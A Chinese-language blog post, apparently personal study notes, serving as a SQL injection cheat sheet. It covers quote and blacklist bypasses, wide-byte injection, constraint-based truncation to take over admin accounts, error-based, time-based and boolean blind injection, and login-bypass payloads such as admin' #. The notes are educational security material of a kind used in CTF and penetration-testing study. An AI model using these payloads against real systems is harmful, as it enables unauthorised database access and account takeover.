玩命加载中 . . .

SQL注入


SQL注入系列

控制那些我们能控制的字段,将其写为SQL语句,使其执行,得到我们想要的信息

1.常用编码及绕过

  • ASCII编码

  • GBK编码

  • URL转码(常用)

    • 空格 %20
    • (单引号) %27
    • # %23
    • \ %5C
  • 逃逸方法常用注释:

    • # %23
    • --(空格)
    • ;%00 ‘%00
    • 将函数名放到username,函数括号及内容放到password中,将username与password之间其他的字符用/*….*/进行注释,使其构成完整的函数。
      • 例如:username='and updatexml /* password=*/()
  • 替代 =(等号)方法:

    • rlike
    • !(a<>b)
    • !!=
    • 正则表达式:regexp(SQL中的正则表达式)
  • 查询结果大于一行,可以将所有的行使用group concat()拼接起来

  • 判断字符相等时可以替换为ASCII码进行替换,避免了使用‘’单引号

  • 替换 and,使用 +

  • 替换空格用内联注释/**/

  • 如果不能使用 table= ‘table_name’,即单引号不能在SQL构造中使用,则可修改为 table = 0x...(即使用十六进制)

  • 绕过引号限制

    – hex 编码
    SELECT * FROM Users WHERE username = 0x61646D696E
    – char() 函数
    SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

  • 绕过字符串黑名单

    SELECT ‘a’ ‘d’ ‘mi’ ‘n’;

    SELECT CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);

    SELECT CONCAT_WS(‘’, ‘a’, ‘d’, ‘m’, ‘i’, ‘n’);

    SELECT GROUP_CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);

    使用 CONCAT() 时,任何个参数为 null,将返回 null,推荐使用 CONCAT_WS()CONCAT_WS() 函数第一

    个参数表示用哪个字符间隔所查询的结果

2.宽字节注入

  • 原理:宽字节注入是利用MySQL的一个特性,MySQL在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128(%F7),才到汉字的范围),这样使 (单引号)逃逸。
  • ‘输入的内容’ = = > ‘输入的内容 ’ 查询的代码 #’ :在输入时添加单引号,将前面的 左单引号 进行闭合,然后后面跟上自己的SQL查询代码,在加上#将后面的 右单引号 注释掉,这样可以执行自己的SQL查询指令了

3.基于约束的SQL攻击

  • 原理:数据库中的表段有字符长度限制,超出长度的数据会被截取丢掉。假设用户名要求30个字符长度,如果我插入一个 admin (包含空格使数据大于30位) 1,则,在向数据库插入用户时,会截取 admin与前25个空格插入数据库(实质为插入了admin,因为空格会默认删除,不能插入),所以控制了admin账户与密码。

  • 注意多打一些空格,超出数据库的限制

4.报错注入

  • 原理:(测试时提示语法错误,则可尝试)利用group by的查询特点,即,查询后生成的表中关键字不能相同,但如果使用 group by concat(user(),floor(rand(0)*2))会生成 0或1两种随机结果,在进行虚拟表的查询和生成时,造成多次插入相同关键字的错误,然后报出。(PPT放在image文件夹中)。

5.基于时间的盲注

  • 原理:sleep()函数,通过IF(exp1,exp2,exp3)select case when xx then xx else xx end;、配合
    • sleep(n)
    • substr(字符串,开始位置,截取长度)
    • substring( from for)(可以替换逗号)
    • benchmark(10000000,sha(1))
    • 笛卡尔积
    • GET_LOCK(str,1)
    • 构造长字符串匹配
    • 进行报数据,使用上述函数,进行遍历
  • 因为这些函数没法报出数据,没法显示,所以使用延时等现象让我们知道这条语句执行了或那个字符识别了
    • if(substr(select username from user where id = 1 ,1 ,1)='a',sleep(3),0):如果从user表查询到的数据的第一个字符为a,则执行sleep函数(睡眠3秒),否者就报出0。如果引号不能使用,可以将substr截取的结果进行ASCII转换,则a可以换成97这种ASCII码值。
    • select case when username = ‘admin’ then ‘admin’ else ‘xxxx’ end from user;

6.报错注入的盲注

7.bool 型盲注

  • 截取函数(substr)、left()、mid()、

  • 转化函数:ASCII()、ord()

  • 审计源码,发现在某一处位置有bool值判断(一般是多层判断),此时,我们在第一层判断的地方进行构造SQL语句(例如查询密码,截断)进行判断,如果判断正确,就是值为1,则第一层判断通过,所以此时会显示第二层的else错误,(没有显示第一层的else,说明第一层的那个判断处真值为1,也就说明我们的SQL语句查询判断结果正确。

8.order by

  • order by 能返回错误信息时,尝试使用报错注入(后面跟函数)
  • 使用 | & ^ ~ << >> 等位运算符
  • 类似于select * from user order by id|(if(1,2,3))+1if运算返回结果加1后为 2 ,然后与1所返回的界面进行对比,判断盲注结果
  • 注意:如果union前的语句用小括号括起来了,那么,union后的语句跟什么都可以

9.insert、update、delete注入

  • 通过控制自定义的参数位置,进行SQL注入
  • 一定要多测试多测试

10.desc相关注入

  • desc语法:desc table column,可控参数有两个(desc后不能跟其他的语句)所以通过控制那两个参数进行SQL语句构造

11.万能密码

  • 常用:

    • admin’ #
    • ‘+’
    • ‘+’
    • 0
    • Aaa’=’
    • \N
  • 原理:
    单引号闭合,井号注释

    select * from admin where username=’admin’ #‘ and password =’’

    Mysql里select ‘aaaaa’+1 返回的是1,会把单引号里面的当成0
    select * from admin where username=’’+’’ and password =’’+’’
    select * from admin where username=0 and password =0

    都可以爆出数据

    先username=Aaa为假,再与’ ‘比较为真
    select * from admin where username=’Aaa’=’’ and password =’Aaa’=’’

sql注入相关文件:A1-SQL注入.txt

各数据库注入相关:https://www.netsparker.com/

12. 导入导出文件漏洞

13.


文章作者: kylin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 kylin !
  目录